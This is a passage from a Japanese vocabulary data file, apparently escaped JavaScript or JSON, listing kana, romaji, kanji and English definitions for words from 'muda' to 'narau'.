trance;ecstasy;delirium;engrossment\"\n\t},\n\n\t{\n\t\t'kana':'むだ',\n\t\t'romaji':'muda',\n\t\t'kanji':'無駄',\n\t\t'definition':\"futility;uselessness\"\n\t},\n\n\t{\n\t\t'kana':'むだづかい',\n\t\t'romaji':'mudadukai',\n\t\t'kanji':'無駄遣い',\n\t\t'definition':\"waste money on;squander money on;flog a dead horse\"\n\t},\n\n\t{\n\t\t'kana':'むだん',\n\t\t'romaji':'mudan',\n\t\t'kanji':'無断',\n\t\t'definition':\"without permission;without notice\"\n\t},\n\n\t{\n\t\t'kana':'ムード',\n\t\t'romaji':'mu-do',\n\t\t'kanji':'',\n\t\t'definition':\"mood\"\n\t},\n\n\t{\n\t\t'kana':'むげん',\n\t\t'romaji':'mugen',\n\t\t'kanji':'無限',\n\t\t'definition':\"infinite\"\n\t},\n\n\t{\n\t\t'kana':'むごん',\n\t\t'romaji':'mugon',\n\t\t'kanji':'無言',\n\t\t'definition':\"silence\"\n\t},\n\n\t{\n\t\t'kana':'むいか',\n\t\t'romaji':'muika',\n\t\t'kanji':'六日',\n\t\t'definition':\"six days;sixth (day of month)\"\n\t},\n\n\t{\n\t\t'kana':'むいみ',\n\t\t'romaji':'muimi',\n\t\t'kanji':'無意味',\n\t\t'definition':\"nonsense;no meaning\"\n\t},\n\n\t{\n\t\t'kana':'むじ',\n\t\t'romaji':'muji',\n\t\t'kanji':'無地',\n\t\t'definition':\"plain;unfigured\"\n\t},\n\n\t{\n\t\t'kana':'むじゃき',\n\t\t'romaji':'mujyaki',\n\t\t'kanji':'無邪気',\n\t\t'definition':\"innocence;simple-mindedness\"\n\t},\n\n\t{\n\t\t'kana':'むじゅん',\n\t\t'romaji':'mujyun',\n\t\t'kanji':'矛盾',\n\t\t'definition':\"contradiction;inconsistency\"\n\t},\n\n\t{\n\t\t'kana':'むかえ',\n\t\t'romaji':'mukae',\n\t\t'kanji':'迎え',\n\t\t'definition':\"meeting;person sent to pick up an arrival\"\n\t},\n\n\t{\n\t\t'kana':'むかえる',\n\t\t'romaji':'mukaeru',\n\t\t'kanji':'迎える',\n\t\t'definition':\"to go out to meet;to accept as a member of a group or family\"\n\t},\n\n\t{\n\t\t'kana':'むかい',\n\t\t'romaji':'mukai',\n\t\t'kanji':'向かい',\n\t\t'definition':\"facing;opposite;across the street;other side\"\n\t},\n\n\t{\n\t\t'kana':'むかし',\n\t\t'romaji':'mukashi',\n\t\t'kanji':'昔',\n\t\t'definition':\"olden days;former\"\n\t},\n\n\t{\n\t\t'kana':'むかう',\n\t\t'romaji':'mukau',\n\t\t'kanji':'向かう',\n\t\t'definition':\"to face;to go towards\"\n\t},\n\n\t{\n\t\t'kana':'むけ',\n\t\t'romaji':'muke',\n\t\t'kanji':'向け',\n\t\t'definition':\"for ~;oriented towards ~\"\n\t},\n\n\t{\n\t\t'kana':'むける',\n\t\t'romaji':'mukeru',\n\t\t'kanji':'向ける',\n\t\t'definition':\"to turn towards;to point\"\n\t},\n\n\t{\n\t\t'kana':'むき',\n\t\t'romaji':'muki',\n\t\t'kanji':'向き',\n\t\t'definition':\"direction;situation;exposure;aspect;suitability\"\n\t},\n\n\t{\n\t\t'kana':'むこ',\n\t\t'romaji':'muko',\n\t\t'kanji':'婿',\n\t\t'definition':\"son-in-law\"\n\t},\n\n\t{\n\t\t'kana':'むこう',\n\t\t'romaji':'mukou',\n\t\t'kanji':'無効',\n\t\t'definition':\"invalid;no effect;unavailable\"\n\t},\n\n\t{\n\t\t'kana':'むこう',\n\t\t'romaji':'mukou',\n\t\t'kanji':'向こう',\n\t\t'definition':\"beyond;over there;opposite direction;the other party\"\n\t},\n\n\t{\n\t\t'kana':'むく',\n\t\t'romaji':'muku',\n\t\t'kanji':'剥く',\n\t\t'definition':\"to peel;to skin;to pare;to hull\"\n\t},\n\n\t{\n\t\t'kana':'むく',\n\t\t'romaji':'muku',\n\t\t'kanji':'向く',\n\t\t'definition':\"to face\"\n\t},\n\n\t{\n\t\t'kana':'むくち',\n\t\t'romaji':'mukuchi',\n\t\t'kanji':'無口',\n\t\t'definition':\"reticence\"\n\t},\n\n\t{\n\t\t'kana':'むなしい',\n\t\t'romaji':'munashii',\n\t\t'kanji':'空しい',\n\t\t'definition':\"vacant;futile;vain;void;empty;ineffective;lifeless\"\n\t},\n\n\t{\n\t\t'kana':'むね',\n\t\t'romaji':'mune',\n\t\t'kanji':'胸',\n\t\t'definition':\"breast;chest\"\n\t},\n\n\t{\n\t\t'kana':'むねん',\n\t\t'romaji':'munen',\n\t\t'kanji':'無念',\n\t\t'definition':\"chagrin;regret\"\n\t},\n\n\t{\n\t\t'kana':'むのう',\n\t\t'romaji':'munou',\n\t\t'kanji':'無能',\n\t\t'definition':\"inefficiency;incompetence\"\n\t},\n\n\t{\n\t\t'kana':'むら',\n\t\t'romaji':'mura',\n\t\t'kanji':'村',\n\t\t'definition':\"village\"\n\t},\n\n\t{\n\t\t'kana':'むらがる',\n\t\t'romaji':'muragaru',\n\t\t'kanji':'群がる',\n\t\t'definition':\"to swarm;to gather\"\n\t},\n\n\t{\n\t\t'kana':'むらさき',\n\t\t'romaji':'murasaki',\n\t\t'kanji':'紫',\n\t\t'definition':\"purple colour;violet\"\n\t},\n\n\t{\n\t\t'kana':'むり',\n\t\t'romaji':'muri',\n\t\t'kanji':'無理',\n\t\t'definition':\"unreasonable;impossible;overdoing\"\n\t},\n\n\t{\n\t\t'kana':'むろん',\n\t\t'romaji':'muron',\n\t\t'kanji':'無論',\n\t\t'definition':\"of course;naturally\"\n\t},\n\n\t{\n\t\t'kana':'むりょう',\n\t\t'romaji':'muryou',\n\t\t'kanji':'無料',\n\t\t'definition':\"free;no charge\"\n\t},\n\n\t{\n\t\t'kana':'むせん',\n\t\t'romaji':'musen',\n\t\t'kanji':'無線',\n\t\t'definition':\"wireless;radio\"\n\t},\n\n\t{\n\t\t'kana':'むし',\n\t\t'romaji':'mushi',\n\t\t'kanji':'無視',\n\t\t'definition':\"disregard;ignore\"\n\t},\n\n\t{\n\t\t'kana':'むし',\n\t\t'romaji':'mushi',\n\t\t'kanji':'虫',\n\t\t'definition':\"insect\"\n\t},\n\n\t{\n\t\t'kana':'むしあつい',\n\t\t'romaji':'mushiatsui',\n\t\t'kanji':'蒸し暑い',\n\t\t'definition':\"humid;sultry\"\n\t},\n\n\t{\n\t\t'kana':'むしば',\n\t\t'romaji':'mushiba',\n\t\t'kanji':'虫歯',\n\t\t'definition':\"cavity;tooth decay;decayed tooth;caries\"\n\t},\n\n\t{\n\t\t'kana':'むしろ',\n\t\t'romaji':'mushiro',\n\t\t'kanji':'寧ろ',\n\t\t'definition':\"rather;better;instead\"\n\t},\n\n\t{\n\t\t'kana':'むしる',\n\t\t'romaji':'mushiru',\n\t\t'kanji':'毟る',\n\t\t'definition':\"to pluck;to pick;to tear\"\n\t},\n\n\t{\n\t\t'kana':'むす',\n\t\t'romaji':'musu',\n\t\t'kanji':'蒸す',\n\t\t'definition':\"to steam;to poultice;to be sultry\"\n\t},\n\n\t{\n\t\t'kana':'むすび',\n\t\t'romaji':'musubi',\n\t\t'kanji':'結び',\n\t\t'definition':\"ending;conclusion;union\"\n\t},\n\n\t{\n\t\t'kana':'むすびつける',\n\t\t'romaji':'musubitsukeru',\n\t\t'kanji':'結び付ける',\n\t\t'definition':\"to combine;to join;to tie on;to attach with a knot\"\n\t},\n\n\t{\n\t\t'kana':'むすびつき',\n\t\t'romaji':'musubitsuki',\n\t\t'kanji':'結び付き',\n\t\t'definition':\"connection;relation\"\n\t},\n\n\t{\n\t\t'kana':'むすびつく',\n\t\t'romaji':'musubitsuku',\n\t\t'kanji':'結び付く',\n\t\t'definition':\"to be connected or related;to join together\"\n\t},\n\n\t{\n\t\t'kana':'むすぶ',\n\t\t'romaji':'musubu',\n\t\t'kanji':'結ぶ',\n\t\t'definition':\"to tie;to bind;to link\"\n\t},\n\n\t{\n\t\t'kana':'むすこ',\n\t\t'romaji':'musuko',\n\t\t'kanji':'息子',\n\t\t'definition':\"son\"\n\t},\n\n\t{\n\t\t'kana':'むすめ',\n\t\t'romaji':'musume',\n\t\t'kanji':'娘',\n\t\t'definition':\"daughter\"\n\t},\n\n\t{\n\t\t'kana':'むすう',\n\t\t'romaji':'musuu',\n\t\t'kanji':'無数',\n\t\t'definition':\"countless number;infinite number\"\n\t},\n\n\t{\n\t\t'kana':'むっつ',\n\t\t'romaji':'mutsu',\n\t\t'kanji':'六つ',\n\t\t'definition':\"(num) six\"\n\t},\n\n\t{\n\t\t'kana':'むやみに',\n\t\t'romaji':'muyamini',\n\t\t'kanji':'無闇に',\n\t\t'definition':\"unreasonably;absurdly;recklessly;indiscreetly;at random\"\n\t},\n\n\t{\n\t\t'kana':'むよう',\n\t\t'romaji':'muyou',\n\t\t'kanji':'無用',\n\t\t'definition':\"useless;futility;needlessness;unnecessariness\"\n\t},\n\n\t{\n\t\t'kana':'むずかしい',\n\t\t'romaji':'muzukashii',\n\t\t'kanji':'難しい',\n\t\t'definition':\"difficult\"\n\t},\n\n\t{\n\t\t'kana':'みゃく',\n\t\t'romaji':'myaku',\n\t\t'kanji':'脈',\n\t\t'definition':\"pulse\"\n\t},\n\n\t{\n\t\t'kana':'みょう',\n\t\t'romaji':'myou',\n\t\t'kanji':'妙',\n\t\t'definition':\"strange;unusual\"\n\t},\n\n\t{\n\t\t'kana':'みょう',\n\t\t'romaji':'myou',\n\t\t'kanji':'妙',\n\t\t'definition':\"strange;unusual\"\n\t},\n\n\t{\n\t\t'kana':'みょうじ',\n\t\t'romaji':'myouji',\n\t\t'kanji':'名字',\n\t\t'definition':\"surname;family name\"\n\t},\n\n\t{\n\t\t'kana':'ミュージック',\n\t\t'romaji':'myu-ziku',\n\t\t'kanji':'',\n\t\t'definition':\"music\"\n\t},\n\n\t{\n\t\t'kana':'な',\n\t\t'romaji':'na',\n\t\t'kanji':'名',\n\t\t'definition':\"name;reputation\"\n\t},\n\n\t{\n\t\t'kana':'な',\n\t\t'romaji':'na',\n\t\t'kanji':'名',\n\t\t'definition':\"name;reputation\"\n\t},\n\n\t{\n\t\t'kana':'な',\n\t\t'romaji':'na',\n\t\t'kanji':'名',\n\t\t'definition':\"name;reputation\"\n\t},\n\n\t{\n\t\t'kana':'なべ',\n\t\t'romaji':'nabe',\n\t\t'kanji':'鍋',\n\t\t'definition':\"saucepan;pot\"\n\t},\n\n\t{\n\t\t'kana':'なだかい',\n\t\t'romaji':'nadakai',\n\t\t'kanji':'名高い',\n\t\t'definition':\"famous;celebrated;well-known\"\n\t},\n\n\t{\n\t\t'kana':'なだれ',\n\t\t'romaji':'nadare',\n\t\t'kanji':'��崩',\n\t\t'definition':\"avalanche\"\n\t},\n\n\t{\n\t\t'kana':'なでる',\n\t\t'romaji':'naderu',\n\t\t'kanji':'撫でる',\n\t\t'definition':\"to brush gently;to stroke\"\n\t},\n\n\t{\n\t\t'kana':'なづける',\n\t\t'romaji':'nadukeru',\n\t\t'kanji':'名付ける',\n\t\t'definition':\"to name (someone)\"\n\t},\n\n\t{\n\t\t'kana':'なえ',\n\t\t'romaji':'nae',\n\t\t'kanji':'苗',\n\t\t'definition':\"rice seedling\"\n\t},\n\n\t{\n\t\t'kana':'なふだ',\n\t\t'romaji':'nafuda',\n\t\t'kanji':'名札',\n\t\t'definition':\"name plate;name tag\"\n\t},\n\n\t{\n\t\t'kana':'ながびく',\n\t\t'romaji':'nagabiku',\n\t\t'kanji':'長引く',\n\t\t'definition':\"to be prolonged;to drag on\"\n\t},\n\n\t{\n\t\t'kana':'ながい',\n\t\t'romaji':'nagai',\n\t\t'kanji':'永い',\n\t\t'definition':\"long;lengthy\"\n\t},\n\n\t{\n\t\t'kana':'ながい',\n\t\t'romaji':'nagai',\n\t\t'kanji':'長い',\n\t\t'definition':\"long\"\n\t},\n\n\t{\n\t\t'kana':'ながめ',\n\t\t'romaji':'nagame',\n\t\t'kanji':'眺め',\n\t\t'definition':\"scene;view;prospect;outlook\"\n\t},\n\n\t{\n\t\t'kana':'ながめる',\n\t\t'romaji':'nagameru',\n\t\t'kanji':'眺める',\n\t\t'definition':\"to view;to gaze at\"\n\t},\n\n\t{\n\t\t'kana':'ながなが',\n\t\t'romaji':'naganaga',\n\t\t'kanji':'長々',\n\t\t'definition':\"long;drawn-out;very long\"\n\t},\n\n\t{\n\t\t'kana':'ながれ',\n\t\t'romaji':'nagare',\n\t\t'kanji':'流れ',\n\t\t'definition':\"stream;current\"\n\t},\n\n\t{\n\t\t'kana':'ながれる',\n\t\t'romaji':'nagareru',\n\t\t'kanji':'流れる',\n\t\t'definition':\"to stream;to flow;to run (ink);to be washed away\"\n\t},\n\n\t{\n\t\t'kana':'ながし',\n\t\t'romaji':'nagashi',\n\t\t'kanji':'流し',\n\t\t'definition':\"sink\"\n\t},\n\n\t{\n\t\t'kana':'ながす',\n\t\t'romaji':'nagasu',\n\t\t'kanji':'流す',\n\t\t'definition':\"to drain;to float;to shed (blood tears);to cruise (e.g. taxi)\"\n\t},\n\n\t{\n\t\t'kana':'なげだす',\n\t\t'romaji':'nagedasu',\n\t\t'kanji':'投げ出す',\n\t\t'definition':\"to throw down;to abandon;to sacrifice;to throw out\"\n\t},\n\n\t{\n\t\t'kana':'なげく',\n\t\t'romaji':'nageku',\n\t\t'kanji':'嘆く',\n\t\t'definition':\"to sigh;to lament;to grieve\"\n\t},\n\n\t{\n\t\t'kana':'なげる',\n\t\t'romaji':'nageru',\n\t\t'kanji':'投げる',\n\t\t'definition':\"to throw;to cast away\"\n\t},\n\n\t{\n\t\t'kana':'なぎさ',\n\t\t'romaji':'nagisa',\n\t\t'kanji':'渚',\n\t\t'definition':\"water's edge;beach;shore\"\n\t},\n\n\t{\n\t\t'kana':'なごり',\n\t\t'romaji':'nagori',\n\t\t'kanji':'名残',\n\t\t'definition':\"remains;traces;memory\"\n\t},\n\n\t{\n\t\t'kana':'なごやか',\n\t\t'romaji':'nagoyaka',\n\t\t'kanji':'和やか',\n\t\t'definition':\"mild;calm;gentle;quiet;harmonious\"\n\t},\n\n\t{\n\t\t'kana':'なぐる',\n\t\t'romaji':'naguru',\n\t\t'kanji':'殴る',\n\t\t'definition':\"to strike;to hit\"\n\t},\n\n\t{\n\t\t'kana':'なぐさめる',\n\t\t'romaji':'nagusameru',\n\t\t'kanji':'慰める',\n\t\t'definition':\"to comfort;to console\"\n\t},\n\n\t{\n\t\t'kana':'ない',\n\t\t'romaji':'nai',\n\t\t'kanji':'無い',\n\t\t'definition':\"there isn't;doesn't have\"\n\t},\n\n\t{\n\t\t'kana':'ないぶ',\n\t\t'romaji':'naibu',\n\t\t'kanji':'内部',\n\t\t'definition':\"interior;inside;internal\"\n\t},\n\n\t{\n\t\t'kana':'ナイフ',\n\t\t'romaji':'naihu',\n\t\t'kanji':'',\n\t\t'definition':\"knife\"\n\t},\n\n\t{\n\t\t'kana':'ないか',\n\t\t'romaji':'naika',\n\t\t'kanji':'内科',\n\t\t'definition':\"internist clinic;internal medicine\"\n\t},\n\n\t{\n\t\t'kana':'ないかく',\n\t\t'romaji':'naikaku',\n\t\t'kanji':'内閣',\n\t\t'definition':\"cabinet;(government) ministry\"\n\t},\n\n\t{\n\t\t'kana':'ないらん',\n\t\t'romaji':'nairan',\n\t\t'kanji':'内乱',\n\t\t'definition':\"civil war;insurrection;rebellion;domestic conflict\"\n\t},\n\n\t{\n\t\t'kana':'ないりく',\n\t\t'romaji':'nairiku',\n\t\t'kanji':'内陸',\n\t\t'definition':\"inland\"\n\t},\n\n\t{\n\t\t'kana':'ナイロン',\n\t\t'romaji':'nairon',\n\t\t'kanji':'',\n\t\t'definition':\"nylon\"\n\t},\n\n\t{\n\t\t'kana':'ないせん',\n\t\t'romaji':'naisen',\n\t\t'kanji':'内線',\n\t\t'definition':\"phone extension;indoor wiring;inner line\"\n\t},\n\n\t{\n\t\t'kana':'ないし',\n\t\t'romaji':'naishi',\n\t\t'kanji':'乃至',\n\t\t'definition':\"from...to;between...and;or\"\n\t},\n\n\t{\n\t\t'kana':'ないしん',\n\t\t'romaji':'naishin',\n\t\t'kanji':'内心',\n\t\t'definition':\"innermost thoughts;real intention;inmost heart;one's mind;in the heart\"\n\t},\n\n\t{\n\t\t'kana':'ないしょ',\n\t\t'romaji':'naisho',\n\t\t'kanji':'内緒',\n\t\t'definition':\"secrecy;privacy;secret;internal evidence;one's circumstances\"\n\t},\n\n\t{\n\t\t'kana':'ナイター',\n\t\t'romaji':'naita-',\n\t\t'kanji':'',\n\t\t'definition':\"game under lights (e.g. baseball) (lit: nighter);night game\"\n\t},\n\n\t{\n\t\t'kana':'ないよう',\n\t\t'romaji':'naiyou',\n\t\t'kanji':'内容',\n\t\t'definition':\"subject;contents;matter;substance;detail;import\"\n\t},\n\n\t{\n\t\t'kana':'ないぞう',\n\t\t'romaji':'naizou',\n\t\t'kanji':'内臓',\n\t\t'definition':\"internal organs;intestines;viscera\"\n\t},\n\n\t{\n\t\t'kana':'なじる',\n\t\t'romaji':'najiru',\n\t\t'kanji':'詰る',\n\t\t'definition':\"to rebuke;to scold;to tell off\"\n\t},\n\n\t{\n\t\t'kana':'なか',\n\t\t'romaji':'naka',\n\t\t'kanji':'仲',\n\t\t'definition':\"relation;relationship\"\n\t},\n\n\t{\n\t\t'kana':'なかば',\n\t\t'romaji':'nakaba',\n\t\t'kanji':'半ば',\n\t\t'definition':\"middle;half;semi;halfway;partly\"\n\t},\n\n\t{\n\t\t'kana':'なかほど',\n\t\t'romaji':'nakahodo',\n\t\t'kanji':'中程',\n\t\t'definition':\"middle;midway\"\n\t},\n\n\t{\n\t\t'kana':'なかみ',\n\t\t'romaji':'nakami',\n\t\t'kanji':'中味',\n\t\t'definition':\"contents;interior;substance;filling;(sword) blade\"\n\t},\n\n\t{\n\t\t'kana':'なかみ',\n\t\t'romaji':'nakami',\n\t\t'kanji':'中身',\n\t\t'definition':\"contents;interior;substance;filling;(sword) blade\"\n\t},\n\n\t{\n\t\t'kana':'なかなか',\n\t\t'romaji':'nakanaka',\n\t\t'kanji':'中々',\n\t\t'definition':\"very;considerably;easily;readily;by no means (neg);fairly;quite;highly;rather\"\n\t},\n\n\t{\n\t\t'kana':'なかなおり',\n\t\t'romaji':'nakanaori',\n\t\t'kanji':'仲直り',\n\t\t'definition':\"reconciliation;make peace with\"\n\t},\n\n\t{\n\t\t'kana':'なかよし',\n\t\t'romaji':'nakayoshi',\n\t\t'kanji':'仲良し',\n\t\t'definition':\"intimate friend;bosom buddy;chum\"\n\t},\n\n\t{\n\t\t'kana':'なく',\n\t\t'romaji':'naku',\n\t\t'kanji':'鳴く',\n\t\t'definition':\"to bark;to purr;to make sound (animal)\"\n\t},\n\n\t{\n\t\t'kana':'なく',\n\t\t'romaji':'naku',\n\t\t'kanji':'泣く',\n\t\t'definition':\"to cry;to sing (bird)\"\n\t},\n\n\t{\n\t\t'kana':'なくなる',\n\t\t'romaji':'nakunaru',\n\t\t'kanji':'無くなる',\n\t\t'definition':\"to disappear;to get lost\"\n\t},\n\n\t{\n\t\t'kana':'なくす',\n\t\t'romaji':'nakusu',\n\t\t'kanji':'亡くす',\n\t\t'definition':\"to lose someone wife child etc\"\n\t},\n\n\t{\n\t\t'kana':'なくす',\n\t\t'romaji':'nakusu',\n\t\t'kanji':'無くす',\n\t\t'definition':\"to lose something;to get rid of\"\n\t},\n\n\t{\n\t\t'kana':'なまえ',\n\t\t'romaji':'namae',\n\t\t'kanji':'名前',\n\t\t'definition':\"name\"\n\t},\n\n\t{\n\t\t'kana':'なまぐさい',\n\t\t'romaji':'namagusai',\n\t\t'kanji':'生臭い',\n\t\t'definition':\"smelling of fish or blood;fish or meat\"\n\t},\n\n\t{\n\t\t'kana':'なまいき',\n\t\t'romaji':'namaiki',\n\t\t'kanji':'生意気',\n\t\t'definition':\"impertinent;saucy;cheeky;conceit;audacious;brazen\"\n\t},\n\n\t{\n\t\t'kana':'なまける',\n\t\t'romaji':'namakeru',\n\t\t'kanji':'怠ける',\n\t\t'definition':\"to be idle;to neglect\"\n\t},\n\n\t{\n\t\t'kana':'なまみ',\n\t\t'romaji':'namami',\n\t\t'kanji':'生身',\n\t\t'definition':\"living flesh;flesh and blood;the quick\"\n\t},\n\n\t{\n\t\t'kana':'なまぬるい',\n\t\t'romaji':'namanurui',\n\t\t'kanji':'生温い',\n\t\t'definition':\"lukewarm;halfhearted\"\n\t},\n\n\t{\n\t\t'kana':'なまり',\n\t\t'romaji':'namari',\n\t\t'kanji':'鉛',\n\t\t'definition':\"lead (the metal)\"\n\t},\n\n\t{\n\t\t'kana':'なまる',\n\t\t'romaji':'namaru',\n\t\t'kanji':'鈍る',\n\t\t'definition':\"to become less capable;to grow dull;to become blunt;to weaken\"\n\t},\n\n\t{\n\t\t'kana':'なめらか',\n\t\t'romaji':'nameraka',\n\t\t'kanji':'滑らか',\n\t\t'definition':\"smoothness;glassiness\"\n\t},\n\n\t{\n\t\t'kana':'なめる',\n\t\t'romaji':'nameru',\n\t\t'kanji':'嘗める',\n\t\t'definition':\"to lick;to taste;to experience;to make fun of;to make light of;to put down;to treat with contempt\"\n\t},\n\n\t{\n\t\t'kana':'なみ',\n\t\t'romaji':'nami',\n\t\t'kanji':'波',\n\t\t'definition':\"wave\"\n\t},\n\n\t{\n\t\t'kana':'なみ',\n\t\t'romaji':'nami',\n\t\t'kanji':'並み',\n\t\t'definition':\"average;medium;common;ordinary\"\n\t},\n\n\t{\n\t\t'kana':'なみだ',\n\t\t'romaji':'namida',\n\t\t'kanji':'涙',\n\t\t'definition':\"tear\"\n\t},\n\n\t{\n\t\t'kana':'なみき',\n\t\t'romaji':'namiki',\n\t\t'kanji':'並木',\n\t\t'definition':\"roadside tree;row of trees\"\n\t},\n\n\t{\n\t\t'kana':'なん',\n\t\t'romaji':'nan',\n\t\t'kanji':'南',\n\t\t'definition':\"south\"\n\t},\n\n\t{\n\t\t'kana':'なん',\n\t\t'romaji':'nan',\n\t\t'kanji':'難',\n\t\t'definition':\"difficulty;hardships;defect\"\n\t},\n\n\t{\n\t\t'kana':'ななめ',\n\t\t'romaji':'naname',\n\t\t'kanji':'斜め',\n\t\t'definition':\"obliqueness\"\n\t},\n\n\t{\n\t\t'kana':'ななつ',\n\t\t'romaji':'nanatsu',\n\t\t'kanji':'七つ',\n\t\t'definition':\"seven\"\n\t},\n\n\t{\n\t\t'kana':'ナンバー',\n\t\t'romaji':'nanba-',\n\t\t'kanji':'',\n\t\t'definition':\"number\"\n\t},\n\n\t{\n\t\t'kana':'なんべい',\n\t\t'romaji':'nanbei',\n\t\t'kanji':'南米',\n\t\t'definition':\"South America\"\n\t},\n\n\t{\n\t\t'kana':'なんぼく',\n\t\t'romaji':'nanboku',\n\t\t'kanji':'南北',\n\t\t'definition':\"south and north\"\n\t},\n\n\t{\n\t\t'kana':'なんだか',\n\t\t'romaji':'nandaka',\n\t\t'kanji':'何だか',\n\t\t'definition':\"a little;somewhat;somehow\"\n\t},\n\n\t{\n\t\t'kana':'なんだかんだ',\n\t\t'romaji':'nandakanda',\n\t\t'kanji':'',\n\t\t'definition':\"something or other\"\n\t},\n\n\t{\n\t\t'kana':'なんで',\n\t\t'romaji':'nande',\n\t\t'kanji':'何で',\n\t\t'definition':\"Why?;What for?\"\n\t},\n\n\t{\n\t\t'kana':'なんでも',\n\t\t'romaji':'nandemo',\n\t\t'kanji':'何でも',\n\t\t'definition':\"by all means;everything\"\n\t},\n\n\t{\n\t\t'kana':'なに',\n\t\t'romaji':'nani',\n\t\t'kanji':'何',\n\t\t'definition':\"what\"\n\t},\n\n\t{\n\t\t'kana':'なに',\n\t\t'romaji':'nani',\n\t\t'kanji':'何',\n\t\t'definition':\"what\"\n\t},\n\n\t{\n\t\t'kana':'なにぶん',\n\t\t'romaji':'nanibun',\n\t\t'kanji':'何分',\n\t\t'definition':\"anyway;please\"\n\t},\n\n\t{\n\t\t'kana':'なにげない',\n\t\t'romaji':'nanigenai',\n\t\t'kanji':'何気ない',\n\t\t'definition':\"casual;unconcerned\"\n\t},\n\n\t{\n\t\t'kana':'なにも',\n\t\t'romaji':'nanimo',\n\t\t'kanji':'何も',\n\t\t'definition':\"nothing\"\n\t},\n\n\t{\n\t\t'kana':'なにしろ',\n\t\t'romaji':'nanishiro',\n\t\t'kanji':'何しろ',\n\t\t'definition':\"at any rate;anyhow;anyway;in any case\"\n\t},\n\n\t{\n\t\t'kana':'なにとぞ',\n\t\t'romaji':'nanitozo',\n\t\t'kanji':'何卒',\n\t\t'definition':\"please\"\n\t},\n\n\t{\n\t\t'kana':'なにより',\n\t\t'romaji':'naniyori',\n\t\t'kanji':'何より',\n\t\t'definition':\"most;best\"\n\t},\n\n\t{\n\t\t'kana':'なんか',\n\t\t'romaji':'nanka',\n\t\t'kanji':'',\n\t\t'definition':\"things like ...;or something like that .. (often derogatory)\"\n\t},\n\n\t{\n\t\t'kana':'なんきょく',\n\t\t'romaji':'nankyoku',\n\t\t'kanji':'南極',\n\t\t'definition':\"south pole;Antarctic\"\n\t},\n\n\t{\n\t\t'kana':'なんなり',\n\t\t'romaji':'nannari',\n\t\t'kanji':'何なり',\n\t\t'definition':\"any;anything;whatever\"\n\t},\n\n\t{\n\t\t'kana':'ナンセンス',\n\t\t'romaji':'nansensu',\n\t\t'kanji':'',\n\t\t'definition':\"nonsense\"\n\t},\n\n\t{\n\t\t'kana':'なんて',\n\t\t'romaji':'nante',\n\t\t'kanji':'何て',\n\t\t'definition':\"how...!;what...!\"\n\t},\n\n\t{\n\t\t'kana':'なんと',\n\t\t'romaji':'nanto',\n\t\t'kanji':'何と',\n\t\t'definition':\"what;how;whatever\"\n\t},\n\n\t{\n\t\t'kana':'なんとか',\n\t\t'romaji':'nantoka',\n\t\t'kanji':'何とか',\n\t\t'definition':\"somehow;anyhow;one way or another\"\n\t},\n\n\t{\n\t\t'kana':'なんとも',\n\t\t'romaji':'nantomo',\n\t\t'kanji':'何とも',\n\t\t'definition':\"nothing (with neg. verb);quite;not a bit\"\n\t},\n\n\t{\n\t\t'kana':'なんとなく',\n\t\t'romaji':'nantonaku',\n\t\t'kanji':'何となく',\n\t\t'definition':\"somehow or other;for some reason or another\"\n\t},\n\n\t{\n\t\t'kana':'なぬか',\n\t\t'romaji':'nanuka',\n\t\t'kanji':'七日',\n\t\t'definition':\"seven days;the seventh day (of the month)\"\n\t},\n\n\t{\n\t\t'kana':'なお',\n\t\t'romaji':'nao',\n\t\t'kanji':'尚',\n\t\t'definition':\"furthermore;still;yet;more;still more;greater;further;less\"\n\t},\n\n\t{\n\t\t'kana':'なおる',\n\t\t'romaji':'naoru',\n\t\t'kanji':'治る',\n\t\t'definition':\"to be cured;to heal;to get mended;to get well;to be repaired;to be fixed\"\n\t},\n\n\t{\n\t\t'kana':'なおる',\n\t\t'romaji':'naoru',\n\t\t'kanji':'直る',\n\t\t'definition':\"to be cured;to heal;to get mended;to get well;to be repaired;to be fixed\"\n\t},\n\n\t{\n\t\t'kana':'なおさら',\n\t\t'romaji':'naosara',\n\t\t'kanji':'尚更',\n\t\t'definition':\"all the more;still less\"\n\t},\n\n\t{\n\t\t'kana':'なおす',\n\t\t'romaji':'naosu',\n\t\t'kanji':'直す',\n\t\t'definition':\"to cure;to heal;to fix;to correct;to repair\"\n\t},\n\n\t{\n\t\t'kana':'なおす',\n\t\t'romaji':'naosu',\n\t\t'kanji':'治す',\n\t\t'definition':\"to cure;to heal;to fix;to correct;to repair\"\n\t},\n\n\t{\n\t\t'kana':'なおす',\n\t\t'romaji':'naosu',\n\t\t'kanji':'直す',\n\t\t'definition':\"to cure;to heal;to fix;to correct;to repair\"\n\t},\n\n\t{\n\t\t'kana':'ナプキン',\n\t\t'romaji':'napukin',\n\t\t'kanji':'',\n\t\t'definition':\"napkin\"\n\t},\n\n\t{\n\t\t'kana':'ならべる',\n\t\t'romaji':'naraberu',\n\t\t'kanji':'並べる',\n\t\t'definition':\"to line up;to set up\"\n\t},\n\n\t{\n\t\t'kana':'ならびに',\n\t\t'romaji':'narabini',\n\t\t'kanji':'並びに',\n\t\t'definition':\"and\"\n\t},\n\n\t{\n\t\t'kana':'ならぶ',\n\t\t'romaji':'narabu',\n\t\t'kanji':'並ぶ',\n\t\t'definition':\"to line up;to stand in a line\"\n\t},\n\n\t{\n\t\t'kana':'ならし',\n\t\t'romaji':'narashi',\n\t\t'kanji':'平均',\n\t\t'definition':\"equilibrium;balance;average;mean\"\n\t},\n\n\t{\n\t\t'kana':'ならす',\n\t\t'romaji':'narasu',\n\t\t'kanji':'鳴らす',\n\t\t'definition':\"to ring;to sound;to chime;to beat;to snort (nose)\"\n\t},\n\n\t{\n\t\t'kana':'ならす',\n\t\t'romaji':'narasu',\n\t\t'kanji':'馴らす',\n\t\t'definition':\"to domesticate;to tame\"\n\t},\n\n\t{\n\t\t'kana':'ならす',\n\t\t'romaji':'narasu',\n\t\t'kanji':'慣らす',\n\t\t'definition':\"to accustom\"\n\t},\n\n\t{\n\t\t'kana':'ならう',\n\t\t'romaji':'narau',\n\t\t'kanji':'倣う',\n\t\t'definition':\"to imitate;to follow;to emulate\"\n\t},\n\n\t{\n\t\t'kana':'ならう',\n\t\t'romaji':'narau',\n\t\t'kanji':'習う',\n\t\t'definition':\"to 